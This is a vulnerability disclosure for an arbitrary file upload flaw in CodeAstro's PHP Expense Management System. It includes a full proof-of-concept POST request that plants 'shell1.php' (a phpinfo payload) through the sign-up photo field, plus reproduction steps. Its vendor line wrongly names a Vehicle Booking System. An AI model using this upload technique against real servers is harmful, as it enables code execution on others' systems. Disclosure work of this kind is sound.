Arbitrary file upload vulnerability in https://codeastro.com/expense-management-system-in-php-with-source-code/ allows attackers to execute arbitrary code via the file upload to /templates/2-sign-up.php.It is an open source project from https://codeastro.com/

1. Vulnerability Submitter: Muscial
2. vendors: Vehicle Booking System in PHP with Source Code - CodeAstro
3. The program is built using the xmapp/v3.3.0(phpstudy/v8.1.1.3) and PHP Version 7.3.4
4. Vulnerability location: /ExpenseManagement-PHP/templates/2-sign-up.php

Vulnerability Verification

[+] Payload:

<?php phpinfo();?>

POC:

POST /ExpenseManagement-PHP/templates/2-sign-up.php HTTP/1.1
Host: 172.30.176.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Cache-Control: max-age=0
Content-Length: 822
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Cookie: PHPSESSID=om876ql2vn89sssmn3t2q4qlfu
Origin: <http://172.30.176.1>
Referer: <http://172.30.176.1/ExpenseManagement-PHP/templates/2-sign-up.php>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="inpFile"; filename="shell1.php"
Content-Type: image/x-xbitmap

<?php phpinfo(); ?>
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="full_name"

bob
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="username"

bob
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="password"

123456
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="password_confirm"

123456
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ
Content-Disposition: form-data; name="register"

Submit
------WebKitFormBoundaryNTBNDpBEYJa9J1PQ--

How to verify

1. Build the vulnerability environment according to the steps provided by the source code author.

2.Register an account.

3.The vulnerability lies in the “Add Photo”function,you should inserts Payload when you add photo,as shown in the following figure.